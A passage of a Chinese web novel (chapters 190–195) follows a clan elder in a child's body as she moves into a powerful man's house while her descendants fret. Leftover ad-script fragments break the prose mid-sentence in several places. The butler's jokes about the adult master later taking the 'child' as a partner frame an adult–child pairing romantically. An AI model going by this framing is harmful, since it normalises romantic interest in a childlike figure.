白小人幺幺短暂收声,想再说时,发现一下子有点卡壳,找不到感觉了。 算了,还是先吃饭。 吃饭皇帝大,再没有比吃饭更重要的事了。 “哦,好吧。” 白小人幺幺丢下人,率先闻着味朝餐厅走去。 上官墨跟在人身后,瞧着小人儿走路时,圆圆小脑袋上的两个小揪揪跟着一抖一抖的,还怪可爱的。 就是不知道小小的人儿,哪里来的那么多戏。 上官墨勾唇轻摇了下头,嘴上无声吐出三 个字来。 “小戏精。” 白幺幺过去时,刚好最后一道菜端上来。 不得不说,大佬家的厨师手艺真的不错。 白幺幺自从动筷后,就没再说话,专心干饭。 毕竟想干啥,也要等吃饱了才有力气干。 不过某些顺手的事,白幺幺还是顺手干了。 比如和大佬分享美食,吃到哪道菜觉得很赞,就会很顺手的用公筷夹点到大佬碗里。 夹第一次时,白幺幺是抱着试试的心态,心里其实挺忐忑的。 等下大佬要是一直不碰她夹过去的东西,或者反应更大点,那她不是很没面子。 后面发现人反应很平静的把东西吃了,白幺幺心里莫名美滋滋的,觉得她和大佬的关系在突飞猛进。 他们这边餐桌上,画面是如此和谐友爱温馨。 而同一时刻。 白家的餐桌上,全部人都埋头安静的用餐,全程零交流。 自从白幺幺到了白家后,每次吃饭,她作为人家的老祖宗,总是会习惯性的关心下后辈。 夹菜,当然是不可能给夹菜的。 至于她现在给大佬夹菜,区别对待。 这有啥好大惊小怪的。 她之于白家是老祖宗,要夹菜也是白家人给她这个老祖宗夹。 给点口头的关心,比如多吃点这个好,不能挑食等等就不错了。 第190章 我那迷人的小祖宗or老祖宗(28) 饭后。 白小人幺幺笑意盈盈的发出邀请。 “大哥哥,咱们去院子里散散步消食吧!” 上官墨睨了人一眼,小人儿扑闪的大眼睛亮晶晶的。 约莫三秒过去了,他才轻点下头。 白幺幺觉得打铁要趁热,刚好现在有这样的身体外型优势,所以她便开始得寸进尺。 “大哥哥,牵手手。” 白小人幺幺朝人伸出肉感十足的白嫩小手,大眼睛里除了催促就是期待。 上官墨:“……” “热,还有我不习惯和人有如此亲密的肢体接触。” 白幺幺:“……” 很好,还能给出解释,只是她仍不怎么满意。 “不热,幺幺的手冰冰凉凉的,不信大哥哥你摸摸。” 白小人幺幺当看不懂人的脸色,直接自己动手丰衣足食。 当然了,她才没骗人,她的手真的不热。 手有些小,只能包住男人大手的三分之一不到。 突然地冰凉触感袭来,上官墨身体一僵。 他刚想做出什么反应,只是垂眸又是对上小人儿的笑脸,笑意中隐隐还含着忐忑不安的味道。 鬼使神差的,上官墨反手回握住那只冰冰凉凉的小手。 嘿嘿,搞定。 白幺幺在心里乐开花了。 她早就吃透了大佬这面冷心热的闷骚性子。 这边一大一小手牵手在院子里闲逛,虽全程零交流,但那画面是如此的温馨,如此的岁月静好。 与此同时。 白家客厅里。 该出去会友的没去,该去散步的没去,该回书房的也没回。 所有人很有默契的齐聚客厅,安静的忙着各自手头上的事。 没办法,他们家老祖宗在朋友家待得似乎有点“乐不思蜀”了。 晚饭都用完了,还没要回来的意思,他们哪里有心情去做其他。 三兄弟把课业拿到楼下客厅来做,只是注意力怎么都无法完全集中。 白保国则是在那泡茶喝茶,只是也有些心不在焉的。 白安邦呢? 他内心在瑟瑟发抖,因为他心中某种不祥的预感越来越强烈了。 也不知道在本子上写写画画了多久,白文勋挠了挠头,终是放下笔。 他回头看向白安邦,“爸,老祖宗来信息说晚上什么时候回来了吗?” 白安邦看了二儿子一眼,视线移到放在桌上的手机上,意思相当明显了。 他手机就放在那,有没有信息电话进来,自己难道没听到。 白文旭这时也放下笔,眼里不认同的神色相当明显。 “爸,你这样是不行的,哪里能等着老祖宗自己打电话过来,应该你要主动打电话过去,关心下老祖宗什么时候回来,你好派车去接她。” “出门在外,老祖宗还要自己打电话回来喊人去接她,这让她朋友怎想,而你主动打过去,这样不仅表现出咱们对老祖宗的重视,还能让老祖宗在她朋友面前长面子。” “老祖宗对外说我们对她多好多敬重,说再多人们也未必信,这得靠我们做呀!爸,你都多大的人了,这种事要我们教。” 白文旭像个小大人似的,说得头头是道。 白安邦“……” 哟呵,之前都没发现自家这个大儿子说起某些道理来,一套一套的。 白保国抿了一口茶,也发话了,语气不咸不淡,隐隐含着嫌弃的味道。 “没听到小旭说的话吗?还杵在那当木桩子啊,打电话,还不快去打电话。” 白安邦:……怎么感觉他在这个家的地位在急速下降。 “好的,爸,我现在立马给老祖宗打电话。” 白安邦说着已经去拿手机,电话拨出后,他还很“懂事”的按下了免提键。 客厅里的白家人全都放下手上的事,盯着手机看。 “嘟嘟嘟……” 电话响了快十声才被接起。 白幺幺那边电话响起时,她还和大佬手牵手在散步了。 可想而知,这通电话来得……似乎有那么点扫兴。 她的手机放在右边的口袋,而她的右手正被大佬牵着。 最后白幺幺颇有点费劲用左手从右边口袋里把手机拿出来,单手拿着手机,又颇有点费劲的按下接听键。 当然全程 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她都表现得轻松随意,将这些颇有点费劲掩饰得很好。 没办法,好不容易能和大佬手牵手,当然是要多牵会儿,让这才建立起的革命友谊能更深厚些。 好吧,说法太高深了。 简单地说,就是让大佬对自己的印象更深点,创造更多点两人友好相处的回忆。 对上拖她后腿的某人,白幺幺语气就没那好,也不亲切的喊小安安了。 “有事?” 再说了,她得让大佬看到,她对他的区别对待以及偏爱。 白安邦:“……” 老祖宗这语气,怎么感觉有点不开心的样子? 难道是上官家有人怠慢了老祖宗? 亦或者是上官家主欺负他们老祖宗了? 不仅白安邦有 这样的想法,客厅里其他白家人也是这么想的。 白文泽坐得离白安邦最近,见人在发呆,忙扯了扯人的裤子。 白安邦回神后,发现家里其他人都在看着他,眼神里全是催促。 特别是老爷子的目光,隐隐有要吃了他的意思。 他赶忙清了清嗓子,那语气比平时更恭敬。 “那个,老祖宗,您要回来了吗?我晚上都没什么事,要不现在开车过去接您怎么样?” 回去? 白幺幺只是思索了下,就对电话那头的白安邦说:“不了,我晚上不回去,要在朋友家留宿。” 上官墨:“……” “什么?” 电话那头的白安邦有些失控的惊呼出声。 不只是白安邦反应如此大,白家客厅的其他人,同样都反应挺大的,就是表现形式比较安静点而已。 白小人幺幺皱了皱眉,冷哼道:“怎么?小安安你有意见?” 白安邦:“……” 他敢有意见吗? 他不敢呀! 感受到老爷子那吃人的目光,以及三个儿子那复杂,暗含责怪、恨铁不成钢等的目光。 白安邦忙不迭的解释道:“老祖宗,您误会了,我没意见的,真的。” 白小人幺幺冷哼一声,“谅你也不敢有意见,好了,没其他事,我先挂了。” 第191章 我那迷人的小祖宗or老祖宗(29) 白小人幺幺说挂就挂,根本没给白安邦反应的机会。 白安邦:“……” 不是,老祖宗我还有事呀! 就算您今晚要在上官家留宿,那明天呢? 他总要问下明天什么时候回来,好提前去接人。 可惜回应他的是一连串的嘟嘟声,紧接着是老爷子的暴喝声。 “你看你,问个话都不会,还把老祖宗惹生气了。” 三个儿子虽没说啥,但全都用眼神附和了老爷子的话。 白安邦觉得自己比窦娥还冤,反正就是百口莫辩。 三兄弟相互对视一眼,拿上自己的东西,一起上楼回他们的书房。 白保国端起茶杯喝光,瞪了人一眼,也上楼回书房去了。 原本还算热闹…… 好吧,其实就是人多些,但不热闹的客厅,一下子就只剩下白安邦一人。 在商界叱咤风云的白董一屁股坐到沙发上,直接陷入自闭中。 不过吧,他才刚坐下没两分钟,电话就响了,是陈助理打来的。 咖啡馆那边叫了救护车将人送到医院,人磕到的是脑袋,还流了那么多血。 一通下来,医药费还是花了不少钱。 姜梦自从女儿出生就没去上过班,哪里有钱支付。 没办法,跟过来的咖啡馆经理只能帮忙垫付了医药费。 至于人是怎么受伤的,经理也知道了,就觉得有点无语。 姜梦似乎有点受不了经理的眼神,委屈的瞪了人一眼。 “我爱人很有钱的,医药费到时我一定会还你,不会赖账的。” 经理:“……” 这时手术室的门开了,姜梦忙丢下经理扑过去。 还是医生眼疾手快阻止了她的动作,“你是姜可柔的家属吧,别激动,病人没事,过几个小时应该就能醒来。” 尽管小姑娘是被自己亲妈不小心推倒,后脑勺撞到身后墙壁受的伤,咖啡馆不需要承担什么责任。 只不过人命关天,姜女士除了在那边哭哭啼啼,根本拿不出钱来。 经理在旁边有些看不过去,直接将医药费付了。 说真的,他多少也做好这钱要不回来的准备。 见人被推出手术室,确认没有生命危险,情况很好后,他并没有跟着去病房,而是默默地离开了。 至于他之前在咖啡馆里的猜测,和姜梦女士短暂接触后,他晃了晃脑袋,把那些想法抛了出去。 就这样的女人,怎么可能入大老板的眼。 病房里,医生都出去后,只留下姜梦母女。 姜梦坐在病床边,盯着脸色惨白的女儿看了会儿,拿出手机开始给陈助理打电话。 她当然更想直接给白安邦打电话,可是她并没有白安邦的联系方式。 陈助理是有两个手机的人,用来联系姜梦的这个手机刚好是他比较不常用的。 因此姜梦连续打了三通电话,都是无人接听状态。 有那么一瞬间,姜梦是有点慌的,只是很快她又稳了心神。 之后每隔个二三十分钟,姜梦都会给陈助理打一通电话,都没打通就是了。 直到距离她打第一通电话过去了三个多小时,陈助理终于回拨电话过来了。 要问陈助理看到手机上十几个未接来电,还是姜梦打来的,第一时间是啥想法。 答案就是啥想法都没有,纯粹感觉到头痛。 他只以为是对方不满意自家boss的安排,可又联系不上自家boss,所以只能把电话打到他这边来。 陈助理内心是十分抵触回这个电话的,调查资料他看过,了解姜梦女士的奇葩性格。 瞧着十几个未接来电的时间,显然对方是打到他接为止。 拉黑暂时是不能拉黑的,想了想,陈助理还是给对方回了个电话。 很费劲的和姜梦女士沟通了快十分钟,他才简单了解了大概情况。 挂了电话后,陈助理抬手捏了捏眉心,觉得这女人还真是会搞事。 他并没有立马给自家boss打电话,而是先打电话给咖啡馆的经理了解下事情原委。 有些事可不能仅听一人之言,特别是这人本身就不怎么可靠。 陈助理的这通电话,让白安邦不自闭了,却更心累了。 如果知道 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 自己当初脑袋犯抽的一个行为,会引发现在这一连串的事情出来。 他……他现在都想回到过去,把当时的自己狠狠抽一顿,不让人十天半个月下不了床,他就不叫白安邦。 当断不断,必受其乱,断而不断,必有后患。 白安邦垂眸叹息,交代陈助理替他去医院看下人,他就不过去了。 至于送人出国的计划,继续,不需要延后。 反正到时视情况,如果人不配合,可以采取些强硬手段。 …… 画面回到上官家那边。 挂了电话后,白小人幺幺顺手把手机收到左边口袋,还有点小幼稚的拍了拍口袋。 “大哥哥,你家有几间客房?等下幺幺想每一间都看看,再决定自己晚上要住哪一间哦。” 上官墨:“… …” 合着直接跳过询问他是否同意留宿的问题,已经来到了选客房的环节了。 上官墨心中真的是又好气又好笑。 眼瞅着大佬有要变脸的趋势,白小人幺幺赶紧使出另一个杀手锏。 她抓着人的手,开始边摇晃边撒娇道:“大哥哥,你怎么不说话,那幺幺不自己选房,全听大哥哥安排就是了。” “大哥哥安排我睡哪间房,我就睡哪间房。” 白幺幺已经想好了,这招不行,她就换其他招。 都已经和小安安说了,她晚上要在大佬这边留宿,要是最后真被人撵回去,她都无颜见白家众后辈了。 上官墨身体像是触电般,微微颤动了下。 条件反射的想抽回被小人儿抓着摇晃的手,不过最终还是被他忍住了。 见人迟迟不给个准话。 白小人幺幺委屈的低下头,开始酝酿眼泪。 上官墨:“……” 他颇有些头疼的想要捏眉心。 所以他当时跟着内心声音出海,就是为了捡这么个小祖宗回来?! “好了,等下回屋去,让管家带着你去选客房。” 白小人幺幺猛地抬头,脸上哪里还有啥委屈的神情,笑嘻嘻的问:“真的?” “嗯。” 第192章 我那迷人的小祖宗or老祖宗(30) 一大一小手牵手回屋,一起去找管家。 瞅见两人牵在一起的手,管家真的老震惊了。 可都别想歪了哦! 管家人家可是正经人,同时也十分相信自家家主的人品…… 哪怕真想老牛吃嫩草,他们家主也不可能这个时候出手,必然等人长大后。 等等,他先算算两人的年龄差。 还好还好,差还不到两轮,养成系的其实也挺好的。 不过想想人在白家的辈分,管家……忙晃了晃脑袋,他都在乱想些什么乱七八糟的。。 明明他刚刚纯粹就是震惊他家家主竟然会牵一个小女娃的手,真的有种太阳往西边出来了的感觉。 上官墨没去理会管家自以为隐藏很好的神色变化,他松开小人儿的手,同时交代管家带着人去选客房。 管家:“……” 不仅牵手了,还让人留宿,就连客房都让人自己挑选。 不是,以前怎么没发现他家家主是喜欢小孩的。 对的,他家家主才不可能是啥变态,就是很纯粹的喜欢小孩。 难道这是家主的隐藏属性。 不过想到小女孩的身份,管家又觉得,他家家主就算是喜欢小孩,那也不是是个小孩都喜欢,还是挺挑的,眼光也挺高的。 白小人幺幺开心的跟着管家去选房间。 等那道小小身影看不见后,上官墨才抬手捏了捏眉心。 好像每次遇到这个小人儿,他似乎就变得有点不像自己。 可他的一切行为和回应都是顺应本心。 上官墨驻足沉默了会儿,就上楼去书房了。 选哪间客房,这还用选。 当然是哪间房离大佬卧室最近,她就选哪间。 最后,白幺幺在管家欲言又止的神情下,她选了大佬卧室斜对门的那间房。 白幺幺选好房后,管家很快就将她会用到的东西备齐了。 管家在离开前,还是神色犹豫的问道:“真的不需要请个女佣上来帮您沐浴?” 白小人幺幺:“……” 哼,被人占便宜的事,她又不是傻子,怎么可能做。 白小人幺幺板着脸,声音低沉的吐出两个字来。 “不用。” 她可是白家的老祖宗,并不是什么真正的小娃娃。 管家一下子被萌到了,只是良好的职业素养让他面上没显露出半分。 好可爱,难怪能受到家主的特别对待。 洗完澡,拿起管家给准备的合身……睡衣? 白幺幺嘴角狠狠抽动了下,管家还真是把她当作一个真正小孩子给准备的东西。 连体粉色兔子睡衣是啥鬼? 揪着帽子上两个长长的兔耳朵,将睡衣从上到下打量一遍又一遍。 各种纠结犹豫后,白幺幺咬咬牙决定穿上。 不就是件睡衣,成大事者不拘小节。 再说了,她现在在人眼中就是穿这种睡衣的年龄。 嗯,白家人除外。 穿上后,白幺幺来到镜子前还臭屁上了。 “这是谁家闺女呀,太可爱了有木有,好想抱回家,狠狠蹂躏一番。” 现实打脸来得就是这么快。 穿之前还有些小小的抵触,穿之后就真香了。 自己在镜前玩了好一会儿,白幺幺像是得到了什么好玩玩具的孩子,有种迫切的想要和人分享急切心情。 她踩着同样很可爱的卡通拖鞋,离开房间,找大佬去了。 刚好在出门拐角就遇到了管家,也省得她像无头苍蝇,一间一间找过去。 问了管家,知道了大佬人在书房,以及书房的位置,白幺幺直奔书房而去。 被留在原地的管家:“……” 他的眼光果然一如既往的好。 白幺幺很快来到书房前,她很有礼貌的敲了敲门。 等里面传出“进”,她才轻轻推开门走进去。 进门前,白小人幺幺先整理好神情,才踏着狂拽霸气的步伐走进去。 反正她可一点都不喜欢这种粉嫩嫩还幼稚衣服,不过管家都准备了,她只能这么穿了。 有大本事之人都是不拘小节的,又岂会在乎这些身外之物。 管家不仅办事效率高,当然这主要也和钞能力有关,他还足够细致贴心。 给家里留宿的这个小客人白幺幺同志准备的东西都是儿童款,当然也包括沐浴露洗发水。 人进来后,上官墨还未听声,就先闻到味儿了。 甜腻腻的奶香味? 其实管 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 家给选的沐浴露是大品牌的,香味不会很浓郁,淡淡的,很好闻。 不过白幺幺才刚洗完澡,这会儿味道是最浓的,而上官墨本事又嗅觉灵敏。 上官墨很快就想明白了,视线从文件上移开,抬头看去。 差点被自己口水呛到的上官墨:“……” 正等着看到对方露出被惊艳到表情的白小人幺幺:“……” “你……穿的那是什么玩意?” “不是,大哥哥,你那是什么表情?” 两人同时出声,如此默契也没谁了。 随着 两人话落,书房里陷入了诡异的安静中。 白小人幺幺不开心了,她在暗暗地,无声地磨牙。 矜持和高冷都不装了,她决定得豁出了。 白小人幺幺伸手揪了揪头顶的两个兔耳朵,而后来个华丽转圈圈。 “怎么样,大哥哥,幺幺这样穿是不是超级可爱,超级萌。” 为了配这个衣服,白幺幺还故意眨巴着圆溜溜的大眼睛,做出一派天真懵懂的小表情。 上官墨:“……” 额头突突跳了两下,又想捏眉心了。 其实吧,有些东西没敞开着说,但大家心知肚明。 反正,虽不确定小人儿的真实岁数,但他从未将人当真正的小孩看待过。 白小人幺幺见人沉默着没答话,催促着喊道:“大哥哥!” 或许是身体变小的原因,人的性格、行为和心态多少受到身体的影响,上官墨给人找了这么个理由。 “是挺可爱,挺萌的。” 上官墨说的是实话,不存在敷衍。 “不过……” 上官墨第一次露出欲言又止的神情。 得了大佬的夸夸,白小人幺幺心里美滋滋的。 果然,女人呀,不管几岁,都喜欢被人赞美与肯定。 “对了,大哥哥,你刚刚好像话说一半,不过什么?” 这种夸完人,再来个“不过”转折的,后面跟着的话一般不怎么中听。 白幺幺纯属好奇,所以问完后,她还看向大佬,用眼神鼓励大佬快点说。 对于和异性相处,上官墨是零经验的,所以他说了。 “你年纪应该不小了吧,这样的装扮不适合你。” 第193章 我那迷人的小祖宗or老祖宗(31) 纳尼?! 白幺幺脸上表情有那么一瞬间的龟裂。 大佬,就问你敢不敢再说一遍,什么叫她年纪应该不小了吧,这样的装扮不适合她? 呵! 男人!! 白小人幺幺抬起下巴,朝人冷哼一声,连个眼神都不给对方,直接转身就要离开。 肉眼可见一脸懵的上官墨:“……” 不是,无论年纪多大的女人都这么不……阴晴不定吗? “站住!” 心里有个声音告诉他,不能让人就这么离开,他急切出声,音量因此拔高了几分。 也不知道是不是白幺幺此刻心情不是那么美丽,反正听在她耳中就有点不怎么友好,像是在吼人。 当谁没脾气! 哼,大不了这大腿老娘不抱了。 白幺幺当作听不到继续往外走去,甚至脑中在思考要不要叫小安安来接她。 生气,其实倒也没有很生气。 毕竟都经历好几个世界,不可能就这点心性。 她纯粹就是有点小尴尬,以及内心蠢蠢欲动……有点想搞事。 见人没有停下来,继续往外走,上官墨想也没想从位置上站起来。 大长腿的优势与小短腿的劣势,这时候就展现的明明白白。 上官墨一把擒住人的小手,下意识的有控制好力道。 白小人幺幺使劲想抽回手,“放开,我要回家了。” 友谊的小船都翻了,还待着做啥。 上官墨:“……” “生气呢?为什么?” “没有。” 力量的悬殊让白幺幺放弃挣扎,低下头不去与人对视。 “那你刚刚为什么一声不吭就要离开书房,现在还要回白家?” 上官墨不确定问道:“是我刚刚说错话了吗?” 白小人幺幺故意用小奶音哼哼唧唧道:“没有呀,你说的没错,我年纪应该不小了,的确不适合这样的装扮。” 还说没生气,连大哥哥都不喊了。 上官墨解释道:“我不是这个意思,我……” 他要怎么说,就是抬头初见人时,对方这样的打扮,有那么一瞬间,让他感觉两人仿佛是两个世界的。 白幺幺最懂审时度势,顺杆子往上爬了。 “你不是这个意思,那你是哪个意思?” “而且你刚刚还凶我!” 被一口大锅从天而降盖住的上官墨:“???” 上官墨语气前所未有的认真,“我没有凶你。” “你有。” 白小人幺幺扬起脸来,大眼睛里盛满了委屈。 上官墨再次认真道:“我真的没有。” 白小人幺幺继续坚持道:“你就有。” 这声话落,人鼻头酸酸的,眼眶也跟着红红了。 白幺幺:“……” 不是她,她没有。 怎么有忘了这具身体偶尔存在不可控性。 上官墨:“……” 他妥协道:“好吧,我有。” “呜呜,你果然凶我了,我说你有,你还和我争辩说没有,现在终于承认了吧!我再也不要理你了。” 一脸如遭雷劈的上官墨:“???” 不是…… 他不承认,小人儿就红眼眶给他看。 他无奈认下了,小人儿直接哭给他看。 “那个,你别哭……” 上官墨话才说一半,就被打断了。 “呜呜,你是不是又要说,我年纪应该不小了吧,这样哭是不是也有点不合适?” 又被一口大锅从天而降盖下来的上官墨:“……” 不是,他没有,真的。 “先别哭了好不好,咱们坐下来好好谈谈。” 语气是哄人的语气,只是这话就有点不是那个味了。 回应上官墨的是小人儿越哭越凶了。 等单手将人抱起时,上官墨才反应过来自己做了什么。 不禁身体僵了一瞬,脑袋也空白了一瞬。 身体突然悬空,白幺幺一时忘记哭泣,神色也跟着呆愣了下。 等反应过来,她的小屁屁已经稳稳坐在大佬的臂弯上,没有了身高的限制,两人此时面对面。 发现小人儿停止哭泣,上官墨以为是把人抱起来的行为有效,压下心里异样情绪,悄然松了口气。 白幺幺心里有那么一点点慌,自己如此作,万一大佬回到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上界,来个秋后算账怎么办。 白小人幺幺吸了吸鼻子,甩锅道:“你干嘛抱我,不知道男女授受不亲吗?” 对,就算大佬想起来了,她也是被占便宜的那个。 上官墨身体再次僵硬了下,神色有了那么一丝丝不自然。 “你不哭了。” 白小人幺幺疑惑的眨巴着大眼睛,长长的睫羽上挂着泪滴。 上官墨耳后根悄然红了,也没解释,只是问道:“你不喜欢我这样抱你?” 白幺幺脑门上一下子全是问号,她发现自己有点跟不上大佬的脑回路。 他们现在是在纠结她喜不喜欢让他抱,还是这样抱的问题吗? 瞅着表情 很认真,在等着她回答的大佬。 白幺幺小脑瓜快速一转,小脑袋重重点了点。 “喜欢,那你以后还这样抱我吗?” 自己走路多累,多个人形交通工具傻子才拒绝。 白幺幺仔细体验了下,别说还真不错。 难怪那些小娃娃们总喜欢双臂一张,朝大人要抱抱。 自己走路不仅累,主要是身量矮,看到的世界有限,被人抱起来,这样看啥都不费劲了。 而且吧,与其她费劲巴拉的去抱大腿,还不如让大腿主动凑过来让她抱。 换言之,她怎么就不能让大佬主动要来罩着她呢? 决定了,从现在开始,她要跟着大佬生活,让大佬养着她。 哼哼,养条狗时间久了,都会有感情了,更何况是养个“小孩”。 瞧着乖巧坐在自己臂弯上的小人儿,那双哭红的大眼睛咕噜转了下,眸中闪着灵动的光。 上官墨轻吐了口气,点头。 “抱。” 别看只有简单一个字,又有谁知道这一抱就没完没了,之后漫长岁月永远纠缠在一起了。 白幺幺小人吸了吸鼻子,开始指挥人,“那你现在抱我回房吧。” 上官墨没有回应,直接用实际行动说话。 快到门口时,白幺幺想到什么,板着脸说:“你还没和我道歉了。” 脚步蓦地停顿了下的上官墨:“……” “怎么,你不想道歉?” “没有。” 第194章 我那迷人的小祖宗or老祖宗(32) 白小人幺幺扭动了下身体,催促人道:“那就快道歉。” 上官墨微微皱眉提醒,“别乱动,小心摔了。” 白小人幺幺不以为然,“你难道会让我摔了?” 上官墨毫不迟疑的回道:“不会。” “那不就行了,你快道歉。” “对不起。” 上官墨很干脆的道歉了,尽管他根本不知道自己错在哪。 其实他自己都挺意外的,小人儿让他道歉,他就道歉,心里没有任何的不悦和排斥。 白小人幺幺满意了,这会才真正的破涕为笑。 “大哥哥,你真好。” 上官墨:“……” 真是气性来得快,去得也快,不过终于不生气了。 还有重新听到小人儿喊他大哥哥,上官墨第一次觉得小人儿这么喊他时还怪好听的。 上官墨抱着人刚好和管家在房门口相遇。 来给白幺幺房里添置点东西的管家:“……” 被管家看着,白幺幺怪不好意思的。 她抬手拍了拍大佬的肩膀,“大哥哥到了,你快放我下来吧。” 上官墨似乎还抱上瘾了,并没有立马将人放下来。 而是开门进入房间后,才将人放下来的。 管家:……如果没记错的话,这应该是他们家主第一次抱小孩吧! 他选的衣服真的越看越赞,如此可爱萌娃,都快把他萌化了,他们家主果然也一样抵挡不住。 十点左右,白幺幺就上床睡觉。 灯一关,没一会儿她就睡着了。 而斜对门的房间里,上官墨同样躺在床上却迟迟睡不着。 他在想书房里的事,想到底是因为什么把人惹哭的。 最后,他隐隐想明白了。 女人都这么在意自己的年纪吗? 可惜黑夜中,这个问题没人能够回答他。 翌日。 白幺幺早早的醒来了,想着即使人没在白家,却也可以远程监督三兄弟晨练。 想到昨晚她都忘记要打个电话关心下三兄弟的学业,心里就莫名的有些虚。 洗漱完后,拿出手机,白幺幺选择给三兄弟的老大白文旭打去电话。 三兄弟昨晚都没睡好,今早又都起得比平时早,全是一副没精打采的样子。 也不知道是已经养成习惯了,还是其他。 即使白幺幺没在,三兄弟不仅没想过要躲掉今早的晨练,甚至比往常更早了二十几分钟。 一个小司令带着三个兵操练,是他们这个小区大清早的一道风景。 今早没见小司令身影,好些看热闹中认识三兄弟的,不免语气调侃的问上几句,怎么不见你们老祖宗,你们老祖宗去哪。 三兄弟很有默契的都不是很想回答,却碍于对方算是认识的长辈,只能简单含糊的说外出访友去了。 白文旭手机响了时,三兄弟很有默契的停下手中动作,脑中冒出同样的想法。 白文旭拿出手机扫了眼,并没有马上接起来,而是朝两个弟弟点了点头,然后往一处没人的地方走去。 白文勋和白文泽忙跟上去。 瞧着跟过来的两个弟弟,白文旭按下接听键的同时,很自觉的按下免提。 白文旭是个不错的孩子,电话一接通就先对白幺幺表示关心。 “老祖宗,您昨晚在朋友家怎么样?他们有没有怠慢您?还有昨晚突然换个地方,您有没有休息好?” 白幺幺很有耐心的一一回答,怠慢肯定是没有被怠慢,人也休息得挺好的。 回答完问题后,换白幺幺开始关心几兄弟昨晚有没有好好完成学业,现在是不是起来开始晨练了。 白幺幺和白文旭说话时,另外两兄弟安静在旁边听着,没插话。 等他们聊得差不多,白文泽才按耐不住,问道:“老祖宗,等下几点回来,我爸一早上都有空,他说他要亲自去接你回来。” 电话那头的白幺幺:“……” 她要怎么和三兄弟说,她准备在大佬家长住下来。 电话那头突然的沉默,让三兄弟一下子紧张起来。 白文勋是比较冲动的性子,忍到现在才说话,算是很难得了。 “老祖宗您今天不会还要在朋友家待到晚上才回来吧?!” 电话一头的白幺幺:“……” 呃,一时真不知道要怎么开口。 没有继续沉默下去,白幺幺轻咳一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 声道:“这个,不用让你们爸来接我了,我今天还不打算回去,应该还会在朋友家长住几天。” 白幺幺下意识的没敢说她准备直接在大佬家长住了,而且么,话也不能说太死,毕竟在大佬家长住还只是她一厢情愿的想法。 白幺幺话音刚落,三道惊呼声同时发出。 “什么?” 三兄弟的反应有点大,白幺幺感觉吧,既在她的意料之外,又在她的意料之中。 她沉声训道:“一个个咋咋呼呼的做啥,都淡定稳重点。” 三兄弟:“……” 换成他们爸,乃至他们爷,初听老祖宗还要继续在外面待好几天,反应不见得会比他们平静多 少。 这时敲门声响起,白幺幺拿着手机走过去开门。 白幺幺带着三兄弟晨练的事,圈子里大部分人都听说了,上官墨当然也知道。 “晨跑,去吗?” 门一开,上官墨就发出邀请,话说完,才注意到白幺幺手上正处在通话状态的手机。 他朝白幺幺轻点了下头,示意白幺幺先讲电话,然后就准备转身离开。 这种时候,就是体现谁更得白幺幺同志偏爱了。 白小人幺幺朝大佬招招手,示意他先别走。 而后她对着电话那头的三兄弟简单交代几句,就把电话挂断了。 电话那头被简单交代了几句的三兄弟:“……” 三兄弟彼此对视了下,脸上表情各异,不过瞧着情绪都不怎么好的样子。 反正白幺幺挂了电话后,三兄弟一时也没有了继续锻炼的心思。 在旁边听到白幺幺对三兄弟简单交代了啥的上官墨:“……” 身高限制,白幺幺就是想拿手在人面前晃晃,让人回神都没办法,她只好拉了拉人的手。 “大哥哥,你在发什么呆?” 上官墨其实并没有走神,“你要在我这边长住几天?” 白幺幺点了点头,“是呀,难道大哥哥不欢迎我吗?” 上官墨:……关键是他欢不欢迎的问题吗? “没有不欢迎。” 已经有点熟悉小人儿做事风格的上官墨还是问道:“你打算在我这长住几天?” 第195章 我那迷人的小祖宗or老祖宗(33) 白幺幺:“……” 这个问题,让她怎么回答呢? 如果现在就告诉大佬,她准备赖着不走,长住下来,应该不至于立刻马上被大佬撵走。 但会不会引起大佬的误会,觉得她太不矜持,太上赶着,脸皮还有那么一点点厚。 不是,她在想啥,她又不是想勾引大佬,她就是纯粹的想抱大腿有什么错? 在大佬平静目光注视下,白幺幺姑且先抬起一只手,亮出一个巴掌来。 五天? 上官墨点了点头,“嗯,我若是不在的时候,有什么需要,你直接找管家。” “知道,知道。” 白幺幺同志可是耍了个小心机的,一个巴掌可以是五天,为什么不能说是五十天? 白幺幺这边算是愉快的正式入住大佬家了。 那边结束与她通话的三兄弟哪里还有心情继续晨练,只能打道回府了。 他们一进门,在客厅看报纸的老爷子抬头看了人一眼。 瞧见一个个神色明显不太对劲,他却没要主动关心下的意思。 三兄弟没急着上楼,来到客厅坐下。 约莫过去了三四分钟,白文旭才找老爷子说话,将老祖宗的话转述给老爷子听。 “爷爷,老祖宗说她还要在朋友那待几天,归期不定,让我们都照顾好自己,平时除非有什么家族存亡大事,否则 都不要去联系打扰她,而她有啥事会主动联系我们的。” 以为孙子要找他求助或者告状的白保国:“……” 刚结束与陈助理的通话,下楼来的白安邦:“……” 如三兄弟所想,白保国初听时,面上只是隐隐显露,心中却是不平静极了。 白安邦那就更不用说,近期,他已经习惯心中时不时冒点不祥的预感来了。 自家老祖宗做出的决定,一众白家人心中即使千般不赞同万般不愿意,可那又怎样! 老祖宗做出的决定,有谁敢去劝,就算劝了很大几率也劝不动。 最终,一众白家人一致认为自家老祖宗定是被某老男人,或耍心机,或糖衣炮弹……或美色等给骗走了的。 祖孙三代就这样整整齐齐的坐在客厅各干各的,拿着报纸假模假样看着的,仰靠在沙发上假寐的,拿着手机霹雳啪里快速打着字的,不知从哪里拿出象棋对弈起来的。 直到管家来说早餐准备好了,白家几人才放下手头上的事,转移阵地去到餐厅。 吃完早餐,三兄弟去上学了。 白保国父子俩则去了书房。 “爸,你说咱老祖宗粘……亲近上官家主的这情况,会不会是类似雏鸟情节导致的?” 白保国沉默着,不反对,也不赞同。 白安邦知道老爷子有在听,继续道:“爸,老祖宗话虽然那么说,我们就算不去把人哄劝回来,是不是也要整理些老祖宗平时用惯了的东西送过去?” 白安邦同志可是长进了,他一点也不想再次体验让儿子来教他做事。 白保国略微一思索,摇头。 